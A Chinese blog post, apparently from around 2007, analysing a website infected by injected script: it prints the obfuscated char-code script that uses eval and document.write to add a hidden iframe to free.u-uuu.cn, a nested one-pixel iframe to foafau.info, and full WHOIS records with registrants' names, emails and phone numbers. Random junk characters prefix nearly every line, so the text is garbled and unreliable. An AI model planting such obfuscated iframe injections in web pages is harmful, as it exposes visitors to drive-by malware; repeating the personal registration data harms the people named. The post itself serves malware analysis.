首发在我的博客里面，
fM]+SMZy 3EV;LH L http://www.areway.cn/?p=175 O,+1<.;+ N=4G=0 `ke MW! srTQ_ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
7L`A{L )IP,; < <script>t=’60,105,102,114,97,109,101,
iZ#!O* > 32,115,114,99,61,104,116,116,112,58,47,47,
]{)a,c NG 102,114,101,101,46,117,45,117,117,117,46,99,
aGrIQq/k)% 110,47,101,114,114,111,114,46,104,116,109,
9=v MgW 32,119,105,100,116,104,61,49,48,48,32,104,
WK ts[Z 101,105,103,104,116,61,48,62,60,47,105,102,
bZnuNYty75 114,97,109,101,62′;
^nT/i
.#_ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
p#01gB 09X01 X[ <script>t=’60,105,102,114,97,109,101,32,115,
,V,`Jf 114,99,61,104,116,116,112,58,47,47,102,114,
^!<U_;+ 101,101,46,117,45,117,117,117,46,99,110,47,
l7XUXbYp&= 101,114,114,111,114,46,104,116,109,32,119,
03|PYk 6EW 105,100,116,104,61,49,48,48,32,104,101,105,
eV 2W{vuI 103,104,116,61,48,62,60,47,105,102,114,97,
TTeH ` 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
8;d:-Cp document.write(t);</script>
{'XggI% R? GDJ3 <html xmlns=”
\kp8S'qVo http://www.w3.org/1999/xhtml 6 bomh2 “>
%7"q"A r[ <head>
_BM"
]t* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Ee)T1 ~;W <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
>QjAoDVX ? <title>首页 - 爱生活家庭网
X}=n:Ql'YY ^`*9QjY 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
3)F |*F3R 转换字符串后的大概内容是（谁点击后果自付）：
=!kk|_0%E <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
M`. tf_x !S^AgZ~ 查询玉米u-uuu.cn的详细信息：
G<At_YS Domain Name: u-uuu.cn
0C = 3dnp6 ROID: 20070901s10001s64972306-cn
v/Py "hQ Domain Status: ok
1{r3#MVL Registrant Organization: 王雷
3/aMJR:o
Registrant Name: 王雷
x*![fK Administrative Email:
czlovexs@126.com ~3Lg"I Sponsoring Registrar: 北京万网志成科技有限公司
i 'a?kSy Name Server:ns.yovole.com
.\[`B.Q Name Server:ns1.yovole.com
xAqb\|$^ Registration Date: 2007-09-01 17:54
w zYzug Expiration Date: 2008-09-01 17:54
K0H'4' I 最后PING了一下地址 都没有什么….
Of- Rx/ p6 ]7&{> 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
xO$lsZPG <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
$:cE ^8K <script language=”javascript” src=”
9*2 [B"5 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script C\3y {s >
~ 8~a J^[ 这个玉米应该有可能是木马作者的：
c2h{6;bfY foafau.info的详细信息：
fRrvNj0{ V Access to INFO WHOIS information is provided to assist persons in
w:%o?pKet1 determining the contents of a domain name registration record in the
h XfQ)$J Afilias registry database. The data in this record is provided by
H(R1o~ Afilias Limited for informational purposes only, and Afilias does not
I
CZ4 A{I guarantee its accuracy. This service is intended only for query-based
CpA|4'# access. You agree that you will use this data only for lawful purposes
qS403+Su1= and that, under no circumstances will you use this data to: (a) allow,
dq7x3v^"ZG enable, or otherwise support the transmission by e-mail, telephone, or
yL%K4$z facsimile of mass unsolicited, commercial advertising or solicitations
y-T| # to entities other than the data recipient’s own existing customers; or
NhfJ30~ (b) enable high volume, automated, electronic processes that send
rx $ mk queries or data to the systems of Registry Operator, a Registrar, or
8
BY j Afilias except as reasonably necessary to register domain names or
lphFhxJA{ modify existing registrations. All rights reserved. Afilias reserves
O}tZ - 'T the right to modify these terms at any time. By submitting this query,
|
h`0u'# you agree to abide by this policy.
{HL3<2=o Domain ID:D22418703-LRMS
Y,GU%[+ Domain Name:FOAFAU.INFO
_p# CwExuy Created On:20-Nov-2007 16:05:42 UTC
CKtB-a Last Updated On:20-Nov-2007 16:05:44 UTC
" W!M[qBW Expiration Date:20-Nov-2008 16:05:42 UTC
Fw/6?:C}O6 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
qd9c I& Status:CLIENT DELETE PROHIBITED
vqnw#U4` Status:CLIENT RENEW PROHIBITED
Ipf|")* Status:CLIENT TRANSFER PROHIBITED
Da&vb
D-Bg Status:CLIENT UPDATE PROHIBITED
,LTH;<zB) Status:TRANSFER PROHIBITED
VGfMN|h Registrant ID:GODA-040110615
d_AK `wR Registrant Name:liu hong
yW+yg{Gg: Registrant Organization:
`k=bL"T>\ Registrant Street1:beijing
H9KKed47d/ Registrant Street2:
N8!cO[3 Oh Registrant Street3:
8MK>)P o) Registrant City:beijing
b_, |>U Registrant State/Province:
uXI_M) Registrant Postal Code:100000
&K[ _J Registrant Country:CN
3t`P@nL0; Registrant Phone:+86.860108888777
J c g,#@ Registrant Phone Ext.:
@En^wN Registrant FAX:
g3Ec"_>P Registrant FAX Ext.:
Mx6 @$tQ% Registrant Email:bbbshiji@163.com
M^MdRu Admin ID:GODA-240110615
{n(b{ ibl Admin Name:liu hong
;6gDV`Twy Admin Organization:
5j: 0Yt Admin Street1:beijing
4,..kSA3iw Admin Street2:
h "Xg;(K Admin Street3:
g+Dz scIT Admin City:beijing
_6_IP0; Admin State/Province:
uG?_< mun Admin Postal Code:100000
$u7; TW6QD Admin Country:CN
w i hH?~] Admin Phone:+86.860108888777
aY3^C q(r Admin Phone Ext.:
1)9sf0LyU Admin FAX:
j;']cWe Admin FAX Ext.:
lwHzj&/ ~ Admin Email:bbbshiji@163.com
@_U;9) Billing ID:GODA-340110615
_ 6O \W%it Billing Name:liu hong
bnm
P{Ps Billing Organization:
D Gr>
2 Billing Street1:beijing
BsBK@+Zy I Billing Street2:
yN~dU0.G6! Billing Street3:
^w(p8G_-w Billing City:beijing
s<*XN NE7 Billing State/Province:
0F@"b{&0 Billing Postal Code:100000
EM]s/LD@% Billing Country:CN
MJ7 Y#<u Billing Phone:+86.860108888777
+ IrLDsd Billing Phone Ext.:
a F)1Nm[ Billing FAX:
GRGzP&}@ Billing FAX Ext.:
^sa #8^,K Billing Email:bbbshiji@163.com
jL( qf~c_ Tech ID:GODA-140110615
=3|O %\ Tech Name:liu hong
c05TsMF&O Tech Organization:
-%2[2p Tech Street1:beijing
;ToKJ6hN|* Tech Street2:
HuB<k3#sPy Tech Street3:
S7=Bd[4 Tech City:beijing
q+P|l5_
t Tech State/Province:
aT_&x@x Tech Postal Code:100000
8S>&WR%jH] Tech Country:CN
([
jF4/ Tech Phone:+86.860108888777
`n$I]_}/% Tech Phone Ext.:
:/y1yM Tech FAX:
7+]=- Tech FAX Ext.:
`^bgUmJ~ Tech Email:bbbshiji@163.com
D-8O+.@ Name Server:NS27.DOMAINCONTROL.COM
%T X@I$Ba Name Server:NS28.DOMAINCONTROL.COM
g$HwxA9Gp/ Name Server:
.}'qUPNR Name Server:
&F\? Name Server:
ZPiq-q Name Server:
}xBc0g r Name Server:
}tsYJlh5 Name Server:
"[vu6 `m? Name Server:
y |CP;:f; Name Server:
EPS={w$'s Name Server:
:{qv~&+C Name Server:
~vs}.kb Name Server:
QF{4/y^j{ % {YN70/ 接着下载每个文件里面的代码：
;w'D4p= P 一步一步看..
` jzTm t 
/b]oa ! 
vLR~'" `F 
"5;;)\o ~ 
@.G[s)x 
~7Ts_:E- 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
